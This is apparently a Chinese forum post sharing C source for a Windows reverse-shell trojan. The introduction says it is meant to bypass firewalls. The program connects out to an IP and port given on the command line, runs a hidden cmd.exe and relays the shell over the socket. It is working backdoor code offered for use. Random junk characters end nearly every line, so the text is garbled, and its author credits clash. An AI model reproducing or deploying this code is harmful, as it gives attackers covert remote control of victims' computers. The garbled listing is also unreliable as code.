这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 pa^_D~
&CQ28WG X
/* ============================== :/gHqEC24
Rebound port in Windows NT #HP-ne; #
By wind,2006/7 Jr'a_(~
===============================*/ Ca5LLG
#include V}`ri~
#include ]?V:+>t=
M4|ION
#pragma comment(lib,"wsock32.lib") k^d^Todq.
NVQ.;" 2w
void OutputShell(); pSAtn
SOCKET sClient; ,+d8
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; O,7S1
le_aIbB"P
void main(int argc,char **argv) 3;jxIo$,
{ 83]m/Iz
WSADATA stWsaData; ]D~Ibv{Y
int nRet; Js:U1q
SOCKADDR_IN stSaiClient,stSaiServer; k{{
Y2B?C
`
,SNq i
if(argc != 3) 3
[#Rm>,Vu
{ P(-
printf("Useage:\n\rRebound DestIP DestPort\n"); u)zv`m
return; 7m%12=Im5
} DBGU:V,85
o;
6^:
WSAStartup(MAKEWORD(2,2),&stWsaData); !ni
1 qM
P
B-x_D
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oP
T)vN?
?x 0gI
stSaiClient.sin_family = AF_INET; : &nF>
stSaiClient.sin_port = htons(0); 48S
NI
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); +2tFX
# bjK]+
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3_9CREZCl
{ FzSL[S4i
printf("Bind Socket Failed!\n"); PZ#up{[o
return; BK)<~I
} *Ej;}KSv
p,f$9t4
stSaiServer.sin_family = AF_INET; !5h8sD;
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); d"E3ypPK
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +BO kHXk1
-awG14%
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Kwm_Y5`A
{ X.
Ur`X
printf("Connect Error!"); S~H>MtX(<
return; EUh_`R
} x|AND]^Q
OutputShell(); <_kA+&T
} MSBrI3MqQ
Y^DGnx("m
void OutputShell() 3.P7GbN
{ bLGC
char szBuff[1024]; 1he5Zevm}
SECURITY_ATTRIBUTES stSecurityAttributes; B#`'h~(7
OSVERSIONINFO stOsversionInfo; SmvMjZ+7Y
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; \1#]qs -
STARTUPINFO stStartupInfo; W2v'2qAs
char *szShell; xCWS
PROCESS_INFORMATION stProcessInformation; 4i&Rd1#0dI
unsigned long lBytesRead; 8mLW^R:`
UqsOG<L'6
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); bJ9*z~z)e
ai?N!RX%H
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); O#):*II`9
stSecurityAttributes.lpSecurityDescriptor = 0; yJ]Va $M
stSecurityAttributes.bInheritHandle = TRUE; FG!hb?_1
z`$c4p6G6
#*w)rGkU2
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Ahbh,U
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); WI*CuJU<zJ
8lDb<i
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Q}l~n)=
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lup2>"?*
stStartupInfo.wShowWindow = SW_HIDE; bZAL~z+ V
stStartupInfo.hStdInput = hReadPipe; IsJx5GO
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; a9 q:e
oclU)f.,
GetVersionEx(&stOsversionInfo); SO STtuT
Ahba1\,N$
switch(stOsversionInfo.dwPlatformId) 9LBZMQ
{ Dm}M8`|X
case 1: x@/:{B
szShell = "command.com"; F#)bGi
break; j_h:_D4
default: _Yp~Oj
szShell = "cmd.exe"; 6ce-92n
break; hosY`"X
} T>b"Gj/
f}*:wj
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ]auqf
l\Ww^
send(sClient,szMsg,77,0); XR[=W(m}
while(1) E^c*x^
{ f)a0 !U 44
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); '|yCDBu
if(lBytesRead) @- xvdntx
{ X6(s][Wn
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \G)F*
send(sClient,szBuff,lBytesRead,0); u8%X~K\
} h~CLJoK<
else |6^%_kO!|
{ 75>Ok /
lBytesRead=recv(sClient,szBuff,1024,0); F&7|`o3
if(lBytesRead<=0) break; -r3
s{HO
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); GP %hf{
} xYW&Mfka
} (dQ=i
53a^9
return; T*=*$%
}